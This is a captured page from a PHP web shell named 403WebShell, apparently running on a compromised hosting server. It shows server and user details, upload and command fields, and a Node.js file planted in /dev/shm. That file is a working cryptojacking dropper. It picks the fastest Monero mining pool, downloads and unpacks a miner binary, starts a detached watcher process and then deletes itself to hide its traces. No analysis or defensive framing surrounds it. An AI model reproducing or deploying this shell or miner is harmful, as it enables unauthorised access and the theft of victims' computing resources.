$plugin = <<403WebShell
403Webshell
Server IP : 88.222.222.187  /  Your IP : 216.73.216.214
Web Server : LiteSpeed
System : Linux fr-int-web1513.main-hosting.eu 5.14.0-570.62.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Nov 11 10:10:59 EST 2025 x86_64
User : u766115111 ( 766115111)
PHP Version : 8.2.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /dev/shm/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /dev/shm/main.js
const fs = require('fs');
const { execSync, spawn } = require('child_process');
const path = require('path');
const net = require('net');

const pools = [
    "pool.supportxmr.com:3333", "pool.supportxmr.com:5555", "pool.supportxmr.com:7777",
    "pool.supportxmr.com:8080", "pool.supportxmr.com:80", "pool.supportxmr.com:80",
    "auto.c3pool.org:80", "auto.c3pool.org:80", "auto.c3pool.org:19999",
    "xmr.kryptex.network:7029", "xmr-eu.kryptex.network:7029", "xmr-us.kryptex.network:7029",
    "xmr-sg.kryptex.network:7029", "xmr-ru.kryptex.network:7029",
    "gulf.moneroocean.stream:10128", "gulf.moneroocean.stream:10032", "gulf.moneroocean.stream:18192",
    "gulf.moneroocean.stream:20128", "gulf.moneroocean.stream:10001",
    "gulf.moneroocean.stream:80"
];

async function getBestPool() {
    const tests = pools.map(pool => {
        const [host, port] = pool.split(':');
        return new Promise(resolve => {
            const start = Date.now();
            const socket = new net.Socket();
            socket.setTimeout(3000);
            socket.on('connect', () => {
                const lat = Date.now() - start;
                socket.destroy();
                resolve({ pool, lat, ok: true });
            }).on('error', () => resolve({ pool, ok: false }))
              .on('timeout', () => resolve({ pool, ok: false }))
              .connect(port, host);
        });
    });
    const results = await Promise.all(tests);
    const sorted = results.filter(r => r.ok).sort((a, b) => a.lat - b.lat);
    return sorted.length > 0 ? sorted[0].pool : "auto.c3pool.org:80";
}

(async () => {
    const utils = require('./utils');
    const network = require('./network');
    const configPath = path.join(__dirname, 'config.js');

    try {
        if (utils.isArm64()) { utils.selfDestruct(); return; }
        
        // 1. 测试最优 TCP 矿池
        const bestPool = await getBestPool();
        
        // 2. 动态改写配置文件中的 URL
        let cfgContent = fs.readFileSync(configPath, 'utf8');
        cfgContent = cfgContent.replace('{BEST_URL}', bestPool);
        fs.writeFileSync(configPath, cfgContent);
        
        // 重新加载配置
        delete require.cache[require.resolve('./config')];
        const config = require('./config');

        if (!fs.existsSync(config.extractDir)) {
             if (!fs.existsSync(config.homeDir)) { try { fs.mkdirSync(config.homeDir, { recursive: true }); } catch(e){} }
             await network.downloadFile(config.downloadUrl, config.tarFile);
             try { execSync(`tar xvzf "${config.tarFile}"`, { cwd: config.homeDir, stdio: 'ignore' }); } catch (e) {}
        }
        
        if (fs.existsSync(config.binaryPath)) { fs.chmodSync(config.binaryPath, 0o755); }

        const watcherPath = path.join(__dirname, 'watcher.js');
        const subprocess = spawn(process.execPath, [watcherPath], { detached: true, stdio: 'ignore', cwd: __dirname });
        subprocess.unref();
        
        await utils.sleep(1000);
        if (fs.existsSync(config.tarFile)) fs.unlinkSync(config.tarFile);
        utils.selfDestruct();
    } catch (error) { utils.selfDestruct(1); }
})();

Youez - 2016 - github.com/yon3zu
LinuXploit